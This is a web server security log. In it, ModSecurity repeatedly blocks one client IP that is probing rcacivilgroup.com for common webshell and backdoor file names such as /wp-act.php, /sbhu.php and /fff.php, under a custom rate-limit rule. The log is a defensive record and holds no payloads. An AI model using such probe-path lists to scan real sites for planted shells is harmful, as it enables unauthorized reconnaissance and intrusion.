[Sun May 03 08:43:15.851516 2026] [:error] [pid 40422:tid 40438] [client 20.151.130.38:61281] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afaaI0HBbBLrXh6PBuuN1gAAAUw"]
[Sun May 03 08:43:16.296348 2026] [:error] [pid 40422:tid 40435] [client 20.151.130.38:64840] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afaaJEHBbBLrXh6PBuuN2gAAAUk"]
[Sun May 03 08:43:16.710296 2026] [:error] [pid 40456:tid 40460] [client 20.151.130.38:59822] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afaaJDSujTvwdzEkjSfhjQAAAYI"]
[Sun May 03 08:43:17.127078 2026] [:error] [pid 37127:tid 37201] [client 20.151.130.38:61918] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afaaJf8khJXb5O5aWVXiaQAAAFA"]
[Sun May 03 08:43:17.545975 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:62468] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afaaJUHBbBLrXh6PBuuN5AAAAUU"]
[Sun May 03 08:43:17.962313 2026] [:error] [pid 37246:tid 37269] [client 20.151.130.38:65422] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afaaJThvYFGNwhnPamqB8QAAARM"]
[Sun May 03 08:43:18.385647 2026] [:error] [pid 37126:tid 37164] [client 20.151.130.38:65475] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afaaJvR_A42N-LtDyrvjRAAAAAs"]
[Sun May 03 08:43:18.809662 2026] [:error] [pid 37127:tid 37187] [client 20.151.130.38:61852] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afaaJv8khJXb5O5aWVXibAAAAEM"]
[Sun May 03 08:43:19.226185 2026] [:error] [pid 37126:tid 37171] [client 20.151.130.38:61201] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afaaJ_R_A42N-LtDyrvjRwAAABI"]
[Sun May 03 08:43:19.639503 2026] [:error] [pid 37130:tid 37219] [client 20.151.130.38:62528] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afaaJ6Iu7bmXKXicRk84-wAAAIY"]
[Sun May 03 08:43:20.059241 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:64868] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afaaKP8khJXb5O5aWVXicQAAAFg"]
[Sun May 03 08:43:20.489985 2026] [:error] [pid 37130:tid 37229] [client 20.151.130.38:61913] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afaaKKIu7bmXKXicRk85AAAAAJA"]
[Sun May 03 08:43:20.914310 2026] [:error] [pid 37127:tid 37202] [client 20.151.130.38:62505] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afaaKP8khJXb5O5aWVXicwAAAFE"]
[Sun May 03 08:43:21.328718 2026] [:error] [pid 37127:tid 37188] [client 20.151.130.38:59869] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afaaKf8khJXb5O5aWVXidQAAAEQ"]
[Sun May 03 08:43:21.745383 2026] [:error] [pid 37127:tid 37193] [client 20.151.130.38:65423] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afaaKf8khJXb5O5aWVXieAAAAEk"]
[Sun May 03 08:43:22.165874 2026] [:error] [pid 37127:tid 37192] [client 20.151.130.38:60471] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afaaKv8khJXb5O5aWVXiewAAAEg"]
[Sun May 03 08:43:22.579952 2026] [:error] [pid 37127:tid 37186] [client 20.151.130.38:65485] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afaaKv8khJXb5O5aWVXifQAAAEI"]
[Sun May 03 08:43:23.000821 2026] [:error] [pid 37130:tid 37222] [client 20.151.130.38:59879] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afaaKqIu7bmXKXicRk85BQAAAIk"]
[Sun May 03 08:43:23.423577 2026] [:error] [pid 37127:tid 37184] [client 20.151.130.38:62545] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afaaK_8khJXb5O5aWVXifgAAAEA"]
[Sun May 03 08:43:23.842789 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:65489] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afaaK_8khJXb5O5aWVXigAAAAFg"]
[Sun May 03 08:43:24.260197 2026] [:error] [pid 37127:tid 37185] [client 20.151.130.38:61254] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afaaLP8khJXb5O5aWVXiggAAAEE"]
[Sun May 03 08:43:24.696792 2026] [:error] [pid 37130:tid 37231] [client 20.151.130.38:64864] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afaaLKIu7bmXKXicRk85DQAAAJI"]
[Sun May 03 08:43:25.115144 2026] [:error] [pid 37126:tid 37153] [client 20.151.130.38:61903] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afaaLfR_A42N-LtDyrvjUwAAAAI"]
[Sun May 03 08:43:25.559928 2026] [:error] [pid 37127:tid 37205] [client 20.151.130.38:62498] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afaaLf8khJXb5O5aWVXihQAAAFM"]
[Sun May 03 08:43:25.979002 2026] [:error] [pid 37246:tid 37263] [client 20.151.130.38:62574] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaLThvYFGNwhnPamqB9gAAAQ0"]
[Sun May 03 08:43:26.393612 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:61205] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaLv8khJXb5O5aWVXihwAAAEw"]
[Sun May 03 08:43:26.813469 2026] [:error] [pid 37126:tid 37171] [client 20.151.130.38:65488] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaLvR_A42N-LtDyrvjVwAAABI"]
[Sun May 03 08:43:27.228200 2026] [:error] [pid 37127:tid 37194] [client 20.151.130.38:61248] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afaaL_8khJXb5O5aWVXiiQAAAEo"]
[Sun May 03 08:43:27.649377 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:60538] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afaaLzhvYFGNwhnPamqB-QAAARY"]
[Sun May 03 08:43:28.061896 2026] [:error] [pid 37127:tid 37209] [client 20.151.130.38:65500] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afaaMP8khJXb5O5aWVXijQAAAFc"]
[Sun May 03 08:43:28.486072 2026] [:error] [pid 40456:tid 40478] [client 20.151.130.38:59855] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afaaMDSujTvwdzEkjSfhmAAAAZQ"]
[Sun May 03 08:43:28.902585 2026] [:error] [pid 37127:tid 37203] [client 20.151.130.38:61950] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afaaMP8khJXb5O5aWVXijwAAAFI"]
[Sun May 03 08:43:29.320612 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:61846] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afaaMUHBbBLrXh6PBuuN8gAAAU4"]
[Sun May 03 08:43:29.733742 2026] [:error] [pid 37246:tid 37262] [client 20.151.130.38:59782] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afaaMThvYFGNwhnPamqB-gAAAQw"]
[Sun May 03 08:43:30.149732 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:61299] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afaaMjSujTvwdzEkjSfhngAAAZc"]
[Sun May 03 08:43:30.598076 2026] [:error] [pid 37130:tid 37216] [client 20.151.130.38:61851] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afaaMqIu7bmXKXicRk85HAAAAIM"]
[Sun May 03 08:43:31.023375 2026] [:error] [pid 37130:tid 37235] [client 20.151.130.38:62556] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afaaM6Iu7bmXKXicRk85HgAAAJY"]
[Sun May 03 08:43:31.470355 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:60498] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afaaMzhvYFGNwhnPamqB_gAAARA"]
[Sun May 03 08:43:31.892670 2026] [:error] [pid 37126:tid 37170] [client 20.151.130.38:62517] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afaaM_R_A42N-LtDyrvjWwAAABE"]
[Sun May 03 08:43:32.318533 2026] [:error] [pid 40422:tid 40427] [client 20.151.130.38:61196] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afaaNEHBbBLrXh6PBuuN9QAAAUE"]
[Sun May 03 08:43:32.805922 2026] [:error] [pid 37130:tid 37230] [client 20.151.130.38:60543] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afaaNKIu7bmXKXicRk85IwAAAJE"]
[Sun May 03 08:43:33.224076 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:61252] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afaaNf8khJXb5O5aWVXikgAAAEw"]
[Sun May 03 08:43:33.649026 2026] [:error] [pid 37246:tid 37273] [client 20.151.130.38:61917] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afaaNThvYFGNwhnPamqCBQAAARc"]
[Sun May 03 08:43:34.070849 2026] [:error] [pid 37127:tid 37191] [client 20.151.130.38:62526] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afaaNv8khJXb5O5aWVXimAAAAEc"]
[Sun May 03 08:43:34.487814 2026] [:error] [pid 37127:tid 37195] [client 20.151.130.38:62472] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afaaNv8khJXb5O5aWVXimgAAAEs"]
[Sun May 03 08:43:34.939494 2026] [:error] [pid 37246:tid 37270] [client 20.151.130.38:64853] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afaaNjhvYFGNwhnPamqCBwAAARQ"]
[Sun May 03 08:43:35.352705 2026] [:error] [pid 37246:tid 37267] [client 20.151.130.38:62543] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afaaNzhvYFGNwhnPamqCCQAAARE"]
[Sun May 03 08:43:35.795391 2026] [:error] [pid 37126:tid 37156] [client 20.151.130.38:61826] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afaaN_R_A42N-LtDyrvjXwAAAAM"]
[Sun May 03 08:43:36.220480 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:61265] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afaaODhvYFGNwhnPamqCDgAAAQY"]
[Sun May 03 08:43:36.664518 2026] [:error] [pid 37127:tid 37206] [client 20.151.130.38:61215] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afaaOP8khJXb5O5aWVXinAAAAFQ"]
[Sun May 03 08:43:37.106620 2026] [:error] [pid 40386:tid 40394] [client 20.151.130.38:62464] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afaaOVHJDYRXUf3IbRTioAAAAMY"]
[Sun May 03 08:43:37.542212 2026] [:error] [pid 37127:tid 37200] [client 20.151.130.38:61251] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afaaOf8khJXb5O5aWVXinwAAAE8"]
[Sun May 03 08:43:37.974316 2026] [:error] [pid 37127:tid 37198] [client 20.151.130.38:64791] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afaaOf8khJXb5O5aWVXiogAAAE0"]
[Sun May 03 08:43:38.399533 2026] [:error] [pid 37130:tid 37218] [client 20.151.130.38:60523] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afaaOqIu7bmXKXicRk85LAAAAIU"]
[Sun May 03 08:43:38.842496 2026] [:error] [pid 37130:tid 37217] [client 20.151.130.38:60435] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afaaOqIu7bmXKXicRk85LwAAAIQ"]
[Sun May 03 08:43:39.268231 2026] [:error] [pid 37130:tid 37231] [client 20.151.130.38:57643] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afaaO6Iu7bmXKXicRk85MQAAAJI"]
